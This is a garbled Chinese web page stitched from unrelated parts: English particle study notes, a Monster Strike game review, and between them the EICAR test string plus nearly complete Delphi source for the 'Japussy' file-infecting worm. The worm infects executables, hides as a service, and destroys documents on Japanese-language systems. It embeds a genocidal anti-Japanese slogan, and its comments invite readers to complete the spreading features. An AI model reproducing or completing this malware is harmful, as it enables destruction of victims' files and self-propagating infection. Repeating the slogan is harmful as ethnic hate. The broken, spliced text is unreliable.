dwindle ~ 减少 die ~ 变弱,逐渐停止go ~ 平静下来 mark ~ 削减 hold ~ 压低 burn ~ (火)减弱,烧坏slow ~ 慢下来 burn ~ 烧掉 wash ~ 冲淡 clean ~ 弄干净 rub ~ 擦干净 bring ~ 降低 keep ~ 缩减 trim ~ 裁减 water ~ 冲淡 thin ~ 减少 run ~ 用光衰弱 wear ~ 削减,磨损come ~ 下跌 knock ~ 降价

3) 停止,减弱(to a state of less activity,force,strength and power)

close ~ 关闭 drop ~ 突然停止 break ~ 坏了,中止run ~ 停止 settle ~ 平静下来 cool ~ 冷静下来 turn ~ 拒绝 die ~ 停止 lay ~ 失望 put ~ 镇压

4) 紧紧地,牢牢地(firmly,tightly)

fasten ~ 系牢 chain ~ 链住,栓住clamp ~ 夹住 nail ~ 钉住 pin ~ 扣牢 hammer ~ 钉上 tie ~ 栓住 bind ~ 捆绑 draw ~ 停下来 5) 写下,记下(on paper or in writing) write ~ 写下 copy ~ 抄下 note ~ 记下 take ~ 记下 put ~ 记下 get ~ 记下 have ~ 写下

on

1) 继续(continuously)

carry ~ drive ~ fight ~ hold ~ keep ~ live ~ sleep ~ sing ~ walk ~ go ~ hurry ~ move ~ read ~ follow ~ struggle ~ insist ~ 坚持

2) 连上,固定住,(in or into a state of being connected)

act ~ 对…起作用catch ~ 抓牢 come ~ 跟随 count ~ 依赖 draw ~ 带上,穿上fasten ~ 纠缠,抓牢fit ~ 固定 get ~ 接近 paste ~ 粘住 turn ~ 打开 switch ~ 打开 pin ~ 钉住 put ~ 穿上 try ~ 试穿 pull ~ 穿上 hang ~ 不挂断 build ~ 建立于 leave ~ 留住 take ~ 穿下 rely ~ 依靠 depend ~ 依靠

3) 向前,向上(forward,onward)

add ~ 加上 mark ~ 标上 paint ~ 漆上 press ~ 向前 pass ~ 传递 send ~ 转送 stamp ~ 盖章于 get ~ 上车 hand ~ 传送

4) 开始某活动(in or into an active operation)

work ~ 从事 fall ~ 攻击 hit ~ 突然向起 bring ~ 引起 get ~ 取得进展 look ~ 旁观,观看call ~ 拜访 figure ~ 打算,希望 fix ~ 决心 get ~ 进步,友好相处pick ~ 批评 plan ~ 打算 decide ~ 决定 reflect ~ 思考,反思remark ~ 评论,议论settle ~ 决定 spur ~ 鼓励 urge ~ 督促

off

1) 离开(indicating departure)blow ~ 吹掉 drive ~ 击退 get ~ 下车,动身lift ~ 离开地面 make ~ 逃走 move ~ 离去 pack ~ 打发走 see ~ 送行 ship ~ 运往 start ~ 动身 send ~ 送行,解雇call ~ 叫走 let ~ 放出 take ~ 起飞 touch ~ 发射 give ~ 发出 clear ~ 走开 carry ~ 夺走

2) 去掉,断开(indicating removal or disconnection)

cut ~ 切断 tear ~ 扯掉 take ~ 拿走 chip ~ 切下 come ~ 脱落 cross ~ 除去 drop ~ 跌落 fall ~ 脱落 flick ~ d掉 peel ~ 剥掉 pull ~ 撕开 rub ~ 擦掉 scrape ~ 挂去 shave ~ 剃去 wash ~ 洗掉 shake ~ 抖落 throw ~ 扔开 rip ~ 扯开 turn ~ 关掉 strip ~ 脱去 switch ~ 关掉 take ~ 脱掉 shut ~ 关掉 wear ~ 磨损 go ~ 爆炸 break ~ 中断

3) 完成,停止(indicating completion)

finish ~ 结束 pay ~ 付清 break ~ 停止,中断send ~ 结束 leave ~ 停止 pass ~ 终止,停止sign ~ 停止播音 wear ~ 消失, write ~ 注销,购销bring ~ 完成 call ~ 取消 lay ~ 停止,解雇

4) 着地(down to the ground)

fall ~ 落下 jump ~ 跳下 knock ~ 击倒 slip ~ 滑倒

in

1) 进入,向里(into,inside,indoors)

barge ~ 闯入 beat ~ 打进 break ~ 闯入,插嘴breathe ~ 吸入 burst ~ 闯入,打断drop ~ 偶然拜访 fall ~ 跌入 get ~ 插入,收进 knock ~ 打入 lead ~ 导入 let ~ 进入,嵌入 move ~ 迁入 step ~ 走进 settle ~ 迁入 smuggle ~ 偷偷运进cut ~ 插嘴 call ~ 来访 draw ~ (火车)进站intervene ~ 介入 involve ~ 卷入

2) 包围,关闭(to be surrounded,or enclosed)

close ~ 包围,封闭lock ~ 禁闭 shut ~ 关进 wall ~ 围住

3) 加入,记入(to be added,or included)

book ~ 登记 check ~ 签到 count ~ 记入 fill ~ 填入 hand ~ 交上 take ~ 吸收 send ~ 呈交

out

1) 向外(away from the inside,outside)

keep ~ 使在外 take ~ 拿出 put ~ 放出,伸出come ~ 长出, bring ~拿出 bar ~关在外 breathe ~ 呼吸出 eat ~ 出去吃 get ~ 弄出 go ~ 出去 lay ~ 摆开,展示lock ~ 关在外面 look ~ 向外看 move ~ 搬出 point ~指出 pour ~ 诉说 pull ~ 拉出 ship ~ 运出 stick ~伸出 spit ~ 吐出 beat ~ 敲出 knock ~ 敲出 dine ~ 外出吃饭 drive ~ 驾车外出 leak ~ 漏出 draw ~ 拉出 see ~ 送出门去 draw ~ 出站 let ~ 放出,释放

2) 结束,消失,取消(end, disappear, cancel)

burn ~ 烧尽,烧断clear ~ 清除 dust ~ 清除 fade ~ 消失 put ~ 扑灭 run ~ 用完 use ~ 耗尽 give ~ 耗尽 comb ~ 淘汰 kick ~ 逐出 wipe ~ 消灭 die ~ 灭绝 rub ~ 擦掉 blot ~ 除去 blow ~ 吹熄 bleach ~ 漂白 carry ~ 完成,执行leave ~ 省去 see ~ 完成 go ~ 熄灭 come ~ 罢工,结果cut ~ 删去,停止hold ~ 坚持到底 sell ~ 买完 tire ~ 筋疲力尽 wear ~ 磨损

3) 大声(in a loud voice,aloud)

sing ~ cry ~ shout ~ call ~ ,喊,申斥 spell ~ speak ~ scream ~ read ~ yell ~ sob ~ burst ~ 咆哮

4) 分发,传开(to a number of people or in all directions)

give ~ 分发 spread ~ 传开 set ~ 出发 hand ~ 分发 share ~ 分配 divide ~ 分配 call ~ 出动 start ~ 出发 send ~ 发送 break ~ 爆发,逃脱serve ~ 分发口粮 drop ~ 离开,退出

5) 搞清,弄明白(in or into notice and clearness)

find ~ 找出 figure ~ 算出,解决make ~ 弄清 count ~ 点清 come ~ 出版,出现catch ~ 看出 carry ~ 完成, bear ~ 证明 bring ~ 发表,说出fill ~ 使完全,添满write ~ 写出

over

1) 向下(downwards from an upright position)

knock ~ 撞倒 turn ~ 翻转 fall ~ 脸朝下跌倒trip ~ 拌倒 bend ~ 伏身 look ~ 从…上面看

2) 自始至终,通过,重复(from beginning to end,through,again and again)

look ~ 调查 think ~ 考虑 see ~ 查看 run ~ 匆匆看 talk ~ 商量 call ~ 点名 read ~ 读一遍 go ~ 复习 do ~ 重复 glance ~ 浏览 skip ~ 略过 ponder ~ 思考

3) 向上,向外,(indicating motion upwards or outwards)

run ~ 溢出 spill ~ 溢出 boil ~ 因沸溢出 throw ~ 呕吐

重要性

小品词很重要,因为它表示种种关系;而且把握得不完全往往会给我们带来不少障碍。

On turning the corner,he descended the slope

“转弯”与“下坡”之间的关系,由on来表达,要理解此句,它是关键。

但我们发现on的前述两个意思都不能解释这个句子。考研要求我们全面把握小品词用法,扫除这种障碍。如:on后接动作时,表示“在……之后”。上句迎刃而解。

再比如 “with”,如果仅知道“和……一起”,下面的句子也会有困难。(表伴随状态)

Companies with low accident rates work hard to keep their safety programs alive and active(with: 具有/拥有)

事故率低的公司努力使其安全项目得到有效执行。

With care,they will take home not the problems of science and technology,but the benefits(with表条件: 只有/只要)

只要用心去做,他们带回的就不会是科技的问题,而是好处。

小品词在英语中的频率是极高的。据统计,十个最常用的英文单词中,就有三个是小品词。所以将它彻底征服,也是准备考研的一项要务

附注:Be 动词和小品词连用时,小品词可以表达明确的含义。

例如:Is Tim in No, he's outHe's back in an hour

不行的 得用虚拟机才可以测试病毒代码 无需下载,把下面这段代码复制到记事本里,保存为文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H
熊猫烧香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 124W 用法: upx -9 --8086 Japussyexe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato ' +
'If a country need to be destroyed, it must be Japan! ' +
' W32JapussyWormA ';
{$R RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文 *** 作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (VerdwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := SrcPosition;
dCurPos := DstPosition;
SrcSeek(sStartPos, 0);
DstSeek(dStartPos, 0);
DstCopyFrom(Src, Count);
SrcSeek(sCurPos, 0);
DstSeek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStreamCreate(FileName, fmCreate);
try
sStreamSeek(HeaderSize, 0); //跳过头部的病毒部分
dStreamCopyFrom(sStream, sStreamSize - HeaderSize);
finally
dStreamFree;
end;
finally
sStreamFree;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Sicb := SizeOf(Si);
SilpReserved := nil;
SilpDesktop := nil;
SilpTitle := nil;
SidwFlags := STARTF_USESHOWWINDOW;
SiwShowWindow := State;
SicbReserved2 := 0;
SilpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[01] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSYEXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStreamCreate(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStreamSeek(i, soFromBeginning);
SrcStreamRead(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStreamSeek(-4, soFromEnd); //检查感染标记
SrcStreamRead(iID, 4);
if (iID = ID) or (SrcStreamSize < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStreamFree;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStreamCreate;
DstStream := TMemoryStreamCreate;
try
aIcon := TIconCreate;
try
//得到被感染文件的主图标(744字节),存入流
aIconReleaseHandle;
aIconHandle := ExtractIcon(HInstance, PChar(FileName), 0);
aIconSaveToStream(IcoStream);
finally
aIconFree;
end;
SrcStream := TFileStreamCreate(FileName, fmOpenRead);
//头文件
HdrStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStreamSize);
//写入已感染的标记
DstStreamSeek(0, 2);
iID := $44444444;
DstStreamWrite(iID, 4);
finally
HdrStreamFree;
end;
finally
SrcStreamFree;
IcoStreamFree;
DstStreamSaveToFile(FileName); //替换宿主文件
DstStreamFree;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRecAttr '') and
(SearchRecName > '') then
Result := 0 //不是目录
else if (SearchRecAttr = 16) and (SearchRecName > '') and
(SearchRecName > '') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRecName;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = 'EXE') or (Ext = 'SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = 'HTM') or (Ext = 'HTML') or (Ext = 'ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = 'WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = 'ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文 *** 作系统
begin
if (Ext = 'DOC') or (Ext = 'XLS') or (Ext = 'MDB') or
(Ext = 'MP3') or (Ext = 'RM') or (Ext = 'RA') or
(Ext = 'WMA') or (Ext = 'ZIP') or (Ext = 'RAR') or
(Ext = 'MPEG') or (Ext = 'ASF') or (Ext = 'JPG') or
(Ext = 'JPEG') or (Ext = 'GIF') or (Ext = 'SWF') or
(Ext = 'PDF') or (Ext = 'CHM') or (Ext = 'AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
SubDir := TStringListCreate;
if (FindFirst(Path + '', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDirAdd(SearchRecName);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
Count := SubDirCount - 1;
for i := 0 to Count do
LoopFiles(Path + SubDirStrings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文 *** 作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', ''); //感染之
SendMail; //发带毒邮件
Sleep(1000 60 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussyexe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + 'exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end

怪物d珠》是日本的一款游戏,光看游戏的画面也知道其中的内容定会非常的精彩,这款游戏到底怎么样,游戏属于物理动作型RPG。并且游戏画面的风格上跟智龙迷城很类似。在这个还是卡牌的年代,单纯的卡牌碰撞类游戏已经不能很好的满足玩家的需求了。《怪物d珠》的大致系统跟常见的卡牌游基本类似,取胜的奥秘就在于游戏的战斗模式和组队联机上,虽然市面上也有多款类似这种RUSH SMASH式的游戏,但是本作更强调同伴之间互相撞击所产生的合作效果以及d珠台般的冲击感与速度感,再加上敌人采用类似射击游戏BOSS中具魄力的大范伟攻击模式,让本款游戏更加与众不同。本周国服版开启删档内测,现在就带大家先睹为快!~

游戏简介

怪物d珠是一款活用智能手机功能、任谁都能简单 *** 作的动作RPG游戏。这是一款用手指拖动怪物瞄准敌人撞击的回合制游戏,并可巧妙运用墙壁及怪物之间的“d反”、“撞击”冲破一个个关卡体验冒险之旅。与身边的朋友一起,多可4人同时进行的联机游戏模式深受好评,在日本国内游戏上市仅10个月的时间,玩家人数就突破了1000万。目前已正式确认由腾讯代理其在中国大陆、香港和澳门地区的运营权,即将登录微信和手机QQ。

游戏画面

一打开这款游戏,画面的设计便让心里一阵心花怒放,萌动与动作并存啊,首页画面是很多萌宠,整体的页面色调,也让人觉得这是一款打击类游戏!怪物的图鉴有点类似《机器人1大战OG》的风格,而战场的画面却又像《口袋妖怪》。游戏中的页面采用靓丽的地图形式色彩,光是这几项,就符合亚洲人的口味了! 当然,这只是个人看法,也许mixi配合游戏就是要求这种效果也说不定。

游戏音乐

类似这种萌萌哒的手游音乐十分动感,风格复古却又充满阵营对峙,你能通过自己的 *** 作实现对敌方的击杀配合游戏的音效不由会有一种爽感,对于这种音乐的设计来说,觉得还是不错的,手游不比次世代和端游,真注意音乐的又有几人呢

游戏玩法

《怪物d珠》虽然叫d珠,但是却是综合了卡牌和d珠设计的双向特征,即不同于d珠的单项 *** 作,又不同于卡牌的自我攻击。这款游戏结合了卡牌和单机d珠游戏的双重特征,既能享受思维跳跃的感,又能体会双方战斗时的感。对于已经厌倦了单纯卡牌战斗的,这无疑是好的选择。游戏中还添加了好友作战功能,可以和好朋友一起轮Xboss。

在游戏机制上,《怪物d珠》基本遵循了时下流行的模式,玩家在游戏中通过闯关获得经验值、钱、新怪物以及某些游戏内的金币奖励,并用低级怪物与级怪物进行合成,培养更强大的怪物来参与战斗。战斗方面,mixi选择了不同于三消转珠,划线 *** 作等方法的d珠式战斗。在《怪物d珠》的战斗中,队伍中的每一只出场怪物都以d珠的形式存在于战场上,并让玩家在手机屏幕上通过拖拽 *** 作来模拟d珠蓄力,接着d出怪物来攻击敌人。

另外,己方的怪物在被d出后,还可以通过撞击另外的己方怪物来发动其技能,不同种类的怪物有不同种类的触发技能,其攻击方式包括范围曝、激光光束以及多方向d等等。比起我们过去熟知的某些卡牌手游,《怪物d珠》提供了更为简单直接和爽快的 *** 作,也成功摒弃了一键自动战斗这种过于“轻度”的游戏体验,在游戏初期,很容易让人沉浸其中。

战斗系统属性介绍

首先我们需要一支队伍,队伍由四个角色组成(队员1+队员2+队员3+帮手),每个角色会有特定的友情技与主动必杀技,角色有HP、攻击力、速度、稀有度、运与d珠类别组成。

友情技能:就是在战斗中被我方撞击后的所触发的携带技能。

必杀射击:类似智龙迷城成中的主动技,需要积累一定回合才可以释放,也就是我们俗称的放大招。

HP:血量。

攻击力:就是普通意义上的攻击力。

速度:特色系统,每只怪都不相同,速度越高的怪d射速度和d反速度越快,并且可以进行更多次的d射和d反。

稀有度:1-2茶叶蛋色,3为银色,4-5为金色。

d珠类别:分两种贯通和d反,贯通在d射过程中遇到障碍物会直接穿过造成伤害,穿过的越多速度会越慢,需要灵活运用,d反就是顾名思义遇到障碍会d反游戏中大部分的怪都是d反属性,方便互相撞击发动友情技能。

综合评述:

▼游戏玩法简单

游戏的玩法比较简单,游戏的战斗模式跟d珠或者桌球游戏非常类似,玩家可以用手触摸自己的怪物后向任意方向滑动,松手后自己的怪物就会向相反方向d出。当怪物撞击敌方怪物的时候就会对敌方怪物造成伤害,通过撞击己方队友触发友情技能,以及利用不同的d珠属性来进行不同性质的攻击,有光束、爆发、冲击波、追踪d、扩d等等多种,有的时候不一定非要撞击到怪物,撞击到友军引发的友情技能反而伤害会更高,另外还有一个小技巧,我们在设定怪物d击的方向时,并不需要点击在怪物身上,在屏幕中1央一样可以设定d击的方向哦,这样即使怪物在屏幕边缘也完全不用担心,试着在屏幕中1心选择攻击方向,你会发现更容易也更轻松哦!

▼巧用必杀射击定胜负!

当累积了一定的回合数积攒量后,怪物们就能活它们的必杀射击,必杀射击造成的伤害要比普通碰撞更为强力,出现必杀射击时,怪物下方的信息栏头像会显示[OK]字样,玩家只需触碰相应的怪物头像并可发动必杀射击。不同的怪物拥有不同的必杀射击,并且在副本的回合内保留,可以保留至下一回合使用,所以这就要看玩家是喜欢马上使用还是要留在抗BOSS的时候来使用必杀射击了

▼收集、强化、提升战斗力!

除了此核心玩法外,其余的和智龙迷城还是比较相似的,扭蛋、活动、强化、进化等等。我相信玩过卡牌类游戏的都很清楚,编队类、进化类和进阶类的系统是必不可少的,同理,在《怪物d珠》中,强化合成也就是我们所谓的升级,选择自己想要强化的主怪和配合升级的进化材料来进行等级的提升。

到达一定的等级之后,玩家可利用玉石材料来将怪物的进化。其实这个就像我们童年看过的《数码宝贝》差不多,在到达一定级别之后,进化不但会使怪物的属性更加成熟,而且还会改变怪物的外观,是一种能力的提升。

到后值得一提的是在游戏中,怪物也有五行之分,五行之分,火克木、木克水、水克火、光暗相克,合理利用五行来进行编队,玩家可以通过1个主要+2个辅助+1个帮手来进行作战。而我方的1个主要+2个辅助是可以进行编队设计的。顾名思义,编队就是利用队伍的特性,利用卡牌的属性来将自己好的卡牌替换上场,通过怪物和怪物之间的技能的搭配,可以在战斗中体现不同的效果。

▼从天而降的异界怪物!

《怪物d珠》的副本设计十分取巧,游戏中的BOSS非常的机智,好像是被赋予了智商一样,摆脱了传统式游戏BOSS的设定,它不在是一味的负隅顽抗,这种愚蠢至极的打法不是一个boss的风格,所以在《怪物d珠》中,BOSS的出现方式是随机偶然的,并不一定是出现在关底的,玩家在任何时刻都应以万全的状态迎接挑战!所以建议玩家将必杀射击保留到BOSS出现再使用。打BOSS时,BOSS身上会时不时出现弱点光标,只要在弱点光标出现的时候攻击的话就能加大对BOSS的伤害。当然既然刚说到BOSS似乎被赋予了智商一样,那它在打不过你的情况下也会采用三十六计走为上计的原则立即逃跑,所以在副本中,攻击大boss时,一定要要防止让他逃跑,打不过就跑,这种新的副本打boss的方式以前还只在次世代游戏里见过,而现出现在手游中却是让眼前一亮,时下该游戏不再是中规中矩的死板方程式,而是灵活的战术设计,让副本玩起来更加趣味盎然

▼和朋友一起倒强敌!

游戏采取了类似PSP掌机一样的联机方式,一为个人战斗,你可以把游戏当做单机来玩,也与一般卡牌差不多,系统会随机给出一些人帮组玩家,纯粹的单机党,在某关打不过的时候,可以抱大腿,当然完成关卡之后可以互加好友。二种为多人联机模式,多人联机又分近距离组队和远距离组队,等同于WLAN连击和服务器联机。WLAN联机我相信玩过PSP的《怪物猎人》的玩家们并不陌生,系统将匹配到附近正在游戏的玩家来一起进行游戏,你可以利用好周围的环境拉拢土豪与妹子一起进行游戏,很不错的一种社交形式,如果有自动过滤性别就好了,你懂的。而服务器联机就相当于掌机的全球联机一样,当然在这里,我们就限于腾讯国内服务器了。

就的试玩来说,《怪物d珠》给了玩家更多的 *** 作感,在战斗过程中的充满了变数。并且游戏的联机系统加上非常良心的疲劳设定,让多人的乐趣大幅度提高。在此,也希望腾讯国服能给我们带来更多乐趣。


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